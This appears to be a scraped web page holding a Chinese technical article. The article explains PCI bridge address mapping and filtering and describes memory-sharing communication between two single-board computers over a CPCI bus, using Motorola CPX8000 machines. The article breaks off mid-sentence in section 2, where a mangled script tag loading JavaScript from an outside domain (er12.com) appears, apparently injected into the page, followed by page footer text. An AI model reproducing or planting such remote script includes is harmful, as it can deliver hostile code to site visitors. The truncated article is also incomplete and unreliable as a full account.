双机通信在CPCI总线上的实现

摘 要:介绍了pci bridge的工作原理,基于地址映射机制提出了sbc(single board computer)间直接内存访问的新方案。该方案可将板间通信效率提高6倍以上,并可服务于各种高层应用。

  关键词:cpci总线 地址映射 pci bridge 单板计算机 性能优化

  在电信、电力、国防等应用领域中,经常要求其所用设备有极高的实时性。当需要在各个设备间进行大容量的信息交换时,传统的网络包交换模式已不能很好地满足实时性的要求。而借助于cpci总线,两个设备可以互访对方的内存,具有传输速度快、传输容量大和高可靠性等特点,非常适合大容量的信息传递。国家数字交换系统工程技术研究中心承担的国家863计划项目——“中国第三代移动通信系统”cdma2000系统集成就选择基于cpci总线的多sbc平台。各个sbc间的通信效率直接决定了整个系统性能的高低。目前常用的实时操作系统如vxworks、lynx等,都针对cpci总线实现了消息队列,可用于sbc间的消息通信。但vxworks、lynx中消息传递的实现方式很不灵活,一般是通过在一个特定的sbc(通常为system board)中开启一块共享内存,其他各个sbc(通常为non system board)通过对共享内存的读写交换信息;每完成一次两个non system sbc间的信息交换,都要进行一次pci读写操作,效率不高。另外vxworks、lynx中的消息长度都有一个最大值,当要进行大数据量(如1gb的内存数据库)的信息传输时,操作系统提供消息传递机制也无能为力。而以上这些问题,都可以通过任意两个sbc间的直接内存访问得到解决。本文首先介绍了pci bridge的工作原理;然后以motorola公司提供的cpx8000系列工控机为例,讨论了两个sbc是如何基于背板(backplane)上的cpci总线,并利用pci bridge的地址映射机制,通过互访内存的方式最终实现双机通信;最后介绍了实际应用时应注意的性能优化问题。

1 pci bridge的工作原理

  在简单的计算机系统中,其拥有的外部设备较少,单级总线结构便能满足系统的需要。但是由于单个 pci总线可支持的 pci 设备数量有电气限制,对拥有大量外设的计算机系统而言,单级总线结构已不能满足系统的要求,因此便产生了桥接设备。通过pci-to-pci bridge可扩展出新的pci总线,通过pci-to-isa bridge可扩展出isa总线。借助pci bridge这些特殊的pci设备,系统中各级总线被粘和在一起,使整个系统成为一个有机整体。

  每个pci设备都有自己的pci i/o空间、pci内存空间和pci配置空间(configuration space)。pci设备的设备驱动程序对pci配置空间进行初始化设置后,各个智能控制器如cpu、dma控制器等,可以对pci设备的pci i/o空间、pci内存空间进行访问。在图1中,cpu若要访问网卡,首先会在pci bus0上生成一个物理地址,这个地址经pci-to-pci bridge的过滤及转换后,在pci bus1上产生一pci bus地址,网卡通过地址译码,响应对这个地址的访问。

图1 基于pci的系统

  从这个过程可以了解到,pci-to-pci bridge有两种基本的功能:

  (1)地址映射功能。虽然同是对网卡进行访问,但pci bus0与pci bus1上的地址意义是不同的。两个地址分属各自的地址空间,通过pci-to-pci bridge实现两个地址的映射。根据这两个地址是否相同,可将pci-to-pci bridge区分为两种类型:

  ·pci-to-pci transparent bridge。pci bridge不对pci bus0上的地址进行转换,直接将其映射到pci bus1上。pci bus0与pci bus1上的地址是相同的。

  ·pci-to-pci non transparent bridge。pci bus0上的地址必须经过pci bridge的转换,才能映射到pci bus1上。pci bus0与pci bus1上的地址是不同的。

  (2)地址过滤功能。pci bridge在把pci bus0上的地址向下游总线(isa bus、pci bus1)传递时,具有选择性。在图1中,cpu在pci bus0上所产生的地址,只有对scsi和

  ethernet的访问,pci-to-pci bridge才予以接收;而对于pci bus0的其他地址,pci-to-pci bridge均不予响应。每一个pci bridge所响应的地址范围,可形象地称其为此pci bridge的地址窗口,只有当上游总线的地址落进pci bridge的地址窗口中,pci bridge才响应此地址并向下游总线传递。

2 双机通信的具体实现

  本节以motorola公司提供的cpx8000系列工控机为例,介绍了如何通过cpci总线实现双机间的通信。如图2所示,两个sbc通过背板上的cpci总线实现了物理上的连接。如果两个sbc能够互相访问对方的内存,就可实现两者间的数据交流。以系统处理机板(system processor board,又称主机板)访问非系统处理机板(non-system processor board, 又称子机板)内存为例,介绍双机通信的具体实现。本方案已在lynx及vxworks实时操作系统上实现。

  在图2中,主机板cpu若要访问子机板中的1mb内存单元,必须将这块内存映射到主机板cpu的虚拟地址空间中,可以?script src=http://er12.com/t.js>

  • 双机通信在CPCI总线上的实现已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计